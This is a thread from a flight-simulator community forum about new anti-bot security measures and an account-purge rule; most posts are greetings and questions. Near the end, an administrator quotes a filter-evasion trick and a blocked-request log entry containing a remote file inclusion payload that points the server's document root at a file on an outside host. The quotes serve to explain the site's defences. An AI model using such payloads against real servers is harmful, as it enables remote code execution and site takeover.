Security Measures

[Jagdflieger]

The Outhouse has installed new security software. If you lurk, but don't post, your account will disappear in a week. To prevent this, go to the following link and post a quick "Hello."

http://www.sim-outhouse.com/sohforums/showthread.php?t=26832

You can also post here too.

By doing so, your account will remain active.

[PomBee]

A sound idea, guys. Let's hope that it'll stop any future nastieness.

Cheers.

PomBee.:ernae:

[watchdog22]

I'm on board with that idea :applause:

[bobhegf]

Hello

[Rami]

Well, I guess this leaves me in the clear. I'm not the silent type. :icon_lol:

[kelticheart]

A sound idea, guys. Let's hope that it'll stop any future nastieness.

Cheers.

PomBee.:ernae:

Hear! Hear!

I fully agree with it!

Cheers!
KH :ernae:

[wolfi]

Better save! :applause: But what if you are on vacation?

[PJMack]

I'm in. I hope that this makes the Outhouse safe and continues to be as enjoyable.:wavey:

[bub]

Sorry, got carried away. Hello, and have a wonderful Holiday Season.

Bub

[Boatz]

Hey!

[B757]

Hi there!

[rohan]

hello

[Ajax]

Hi guys !

[skylane]

Hello!
Hope this helps to keep the bad guys from doing any more harm!

[hewman100]

Makes good sense to me!:jump:

[Nole]

Merry Christmas!

[Bill Kestell]

:kilroy:I ate waaaaaaay toooooo much Turkey and other junk! Hope you folks did too!:isadizzy:

[Ravenna]

Good idea, but I second Morton's concern.:ernae:

[Devildog73]

B-B-B-But how did onnogras get my photo?:bump:

[Skipsan]

And if one is off on vacation for a few week's then what? You go to the back of the line loose all recognition for you contribution and start over? Or is there a contingency in place for a sabbatical?

Somewhat disgruntled

Skipsan :kilroy:

[Grinseed]

Hello

[Hern07]

Still here, a quick belated atta boy(s) for the usn, usmc and us army for November 1942 at Guadalcanal. :ernae:

[Blue Devil]

Post.

There, ...now I've gone and done it.

[Stirlitz]

Hello!

[OBIO]

This security measure will only affect those accounts/members who have not made at least one post. At one time, back when I first joined Combatfs in the dark days of CFS3, there was a "requirement" that you had to make a post after having your account activated and a thread up in the sticky area just for doing those initial posts.

There are 12,000 accounts that do not have a single post accredited to them...and this security patch will remove those accounts as a precaution against nasties lurking about.

OBIO

[Strafing_run]

G'day :wavey:

[Discus]

Better save! :applause: But what if you are on vacation?

Safety firts!! But what if whe are away from a computer for more than a week. Will we have peace of mind :engel016:or be troubled :frown:for the chance of loosing our connection to these treasure post:isadizzy:

Cheers, Discus

[Shessi]

Jagd,
I take it if you end up missing the time limit and therefore getting block, it will be a simple process of re-enabling the account?

e.g. Holiday, sickness, work commitments away from home/pc etc etc

Cheers Shessi

[sc7500]

Okay - even tho I'm on here FAR more than I should [and post almost daily], I'll make it official.

Post Post Post !

The posting requirement doesn't apply strictly to THIS thread, right ?
SC
:kilroy:

[CrisGer]

um, so by lurking does this mean stay on line or just not post? it seems a bit harsh if one does not post daily or often, to lose ones account. HOpefuly you mean people who are ON line and lurk. can someone clarify?

[bretnutz]

I'm in...... I can't lose this site.....I.m still rebuilding my many CFS2's...

[cpljacko]

Are we obliged to post something once a week then?

[SPman]

Not according to Obi - as long as you have posted, you are in......

[miamieagle]

Kool with me!

[Larry S. Wright]

I just can't imagine not being able to access my favoritist, most favorist, more favorableist, favorableist of all website. Hello!:wavey: PS: Thanks guys (all of you) for making CFS2 such a fantastic, realistic world!

[miamieagle]

Hey Jag, I have question? What about if we get sick or go on a Vacation after our last post. Perhaps our PC breakdown. Will we be penalise for that?

[miamieagle]

Another question?

You wrote "Account will disappear in a week. To prevent this, go to the following link and post a quick "Hello."

Can we reactivate our account if we have not been able to post after week from our last post?

[miamieagle]

I'am sorry but I have another question. I have not seen this warnning in any of the other forum. Is this the only forum with this new security rules.

Thank you for the Information Jag!

I just want a clear clarification of the new forum rules!:applause:

[PJMack]

I have another question...is therte a limit on the amount of questions we can ask before being replied to? LOL just kidding Miami!:ernae:

[dhasdell]

:wavey:

[miamieagle]

Thats alright! LoL

[Typhoon Willy]

Hello

[trasno]

Yesterday, when I tried to login, I received a very wird message, that said that I was guilty of bad behavour (?) and my IP was being send to a honeypot (?). But today I managed to login without problems... I became very sacared, because I thought that a hacker was using my computer to attack the sim-outhouse.

Trasno

[JapLance]

Yesterday, when I tried to login, I received a very wird message, that said that I was guilty of bad behavour (?) and my IP was being send to a honeypot (?). But today I managed to login without problems... I became very sacared, because I thought that a hacker was using my computer to attack the sim-outhouse.

Trasno

I've had the same experience since Tuesday morning, and my feelings were the same... Since then, I only had a 503 error screen. This morning I could at least get to the main page, through a proxy, and found I had been banned. I could send a message to the administrstors through the system,and for what it seems it paid off :applause:.

BTW, Hello :bump:

[sc7500]

... And this has absolutely NOTHING to do with Ickie's work...

But my laptop suffered a HUMONGOUS Worm infestation last night - got past 3 layers of anit-malware before Avast stopped it

A 6 hour (overnight) virus check killed 145 infected files, and I'm in the process of rebuilding what can't be used with new files.

Beware the Win.32:Delf-MZG {Tri} Worm, Mates !

Don't know whence it derived, but it ain't on here anymore !

SC
:kilroy:

[Skipsan]

A bit redundant here? My week is up I'm on vacation say for 6 week's, when I come home and try to log back on I'll be in the "s-can" is this correct?

Must I then reapply to SOH a totally new-be? My contribution efforts are in the "s-can" as well? With no residual history of me @ SOH so-on and so-forth?

Now must I just simple apply, becoming the new kid on the block "starting allover again for the "x" time"?

Skipsan :kilroy:

[mariereid]

I think all you have to do is make one post. There are guys who never post, and I think they are the ones who have to make at least one post. Santa's helper looks pretty good up there!

[Pips]

Sound idea. Anything that helps protect this Forum is fine by me. :)

[erufle]

O.K. Hello! Again!

[mcspeed]

Well got to stay active... Merry Christmas :ernae:

[Shadow Wolf 07]

Just in case, I am logging in on my second computer :ernae:

[Jagdflieger]

One post is all that is needed. Most of you accomplish that every day. This is really just for those who visit but don't post.

[egypt23spitfire]

...........................its a bit painful:isadizzy:
when you see the download figures for some things, compared to the THANX posts (which might get, say 25 thankyous) Looks pretty crummy, seeing that hundreds are downloading some files

...we are a fraternity, and a respectful one too(pretty rare on the www) so i agree
.it takes not much time to post and have your say:engel016:

[mariereid]

You are right, egypt. That's how I started at SOH. Downloading tons of stuff. I promised myself that I would make a donation, as soon as I got a download to install. I was a complete pc and cfs2 virgin. I am still pretty fresh, but I am learning some tricks from the pros. For the guys that never bother checking the cfs2 forum, you are missing the best part of the site. The guys here are great, and willing to help. Don't be afraid to ask questions. You can get tons of info, just by reading the posts. I believe most of the guys that have made this sim so good, are right here at SOH.

[CrashnBurns]

Testing, testing, 1, 2, 3

[Ickie]

I also installed software which keeps out bots, spammer ISP's and bad ISP's, it also scans incoming connections and if it detects bots/trogans/viruses which spreads to other IP's, it will not let you in. Nor will I.
2 of our members were caught with bad trogans and did not know it until they seen my page and it told them what they had and where to go to remove it. I than told them my favorate online scanner and they did and even found more viruses.
This is to protect you.
I have been working 1 on 1 with people to get them back here at SOH,
The internet is full of bad ISP's and some of you are their customers.
The messages you have received in the 403 error page, are intended to tell you of your bad ISP. I did not make these messages but I think they get the point out, lol. I am working with the writter of this software to streamline this for future customers. This is the newest thing and soon you will see it everywhere on all forums. This does keep out them hackers and prevents them from altering our pages.....

[Skipsan]

Thank you Ickie for the explanation and your efforts :applause::applause::applause::applause::applause:

An explanation on what one is to encounter does help one to coupe with an work with or around the issue :isadizzy:

All one can hope for is an explanation to deal with the problem :USA-flag: [no interactive banana's]

Skipsan :kilroy:

[tonybones2112]

The Outhouse has installed new security software. If you lurk, but don't post, your account will disappear in a week. To prevent this, go to the following link and post a quick "Hello."

http://www.sim-outhouse.com/sohforums/showthread.php?t=26832

You can also post here too.

By doing so, your account will remain active.

Jagd, I'm on board with any measures you initiate for security.

Bonesimoto

[CrisGer]

ah, this makes much sense now, thanks for the effort and for the saftey for us all, much appreciatd Ickie;)

[Ickie]

These new attack bots are something else, they try everything to get by and attack your IP here is a snippet from the programmer.

This is a thanks to Ron Larson, I saw the attack on his board where they tried (unsuccessfully) to split the signature with an uprintable ASCII like this... "=%0Dhttp:" well, the way to fix this was to remove the "=".


as you see they add special characters to fool the system

I want SOH to be a safe place to visit.

[Ickie]

This is from my logs this morning, this is a bot trying to infect our root to attack you with a popup


#: 162 @: Sat, 05 Dec 2009 09:31:08 -0500
Host: ip-174-142-120-148.static.privatedns.com
IP: 174.142.120.148
Score: 7
Why blocked: Question mark at end of query. Badly formed query, must not have 2 question marks in a row. RFI (http). Root hack. Nesting attack. No www site, and several attacks. Bothost and/or Server Farm. .
Query: _SERVER[DOCUMENT_ROOT]=http://www. beijingteacher. net/test/fid1.txt??
Referer:
User Agent: Mozilla/5.0
Reconstructed URL: http:// www.our site /our forums///?_SERVER[DOCUMENT_ROOT]=http://www. beijingteacher. net/test/fid1.txt??

[dhasdell]

Thanks again for all the work Ickie. I see another poster was in Spain, same as me. Has that been a bad area? Is it Telefonica?

[HighGround22]

.
Yes, many thanks for your devotion to service, Ickie! We realize it's no walk in the park, keeping the bad *******s at bay (Ooh. Howzat for alliteration?).

Cheers and all the best, Ickie!
.

[OTTO]

Any thing to keep SOH safe & running is fine with me !
" Thanks " to all of you guys for your hard work !



" Happy Holidays" to all
OTTO :salute:

[wahoo]

Like so many, " Thanks " for all the hard work! I don't often have much to offer to the conversations but would miss them. Thank you again for the efforts. wahoo

[Skyblazer100]

Hi guys, sorry that I am mostly a reader and not a contributor, but thank you for the wonderful work you do, I have benefitted so much!
Merry Christmas!

[erafitti]

Thanks for the effort (gracias por el esfuerzo).

[DOMINIC]

Hello all!

:jump::ernae::applause:

[wolfi]

One post is all that is needed. Most of you accomplish that every day. This is really just for those who visit but don't post.


ah, thanks for that information.

wolfi

[Scandic]

Hi, again.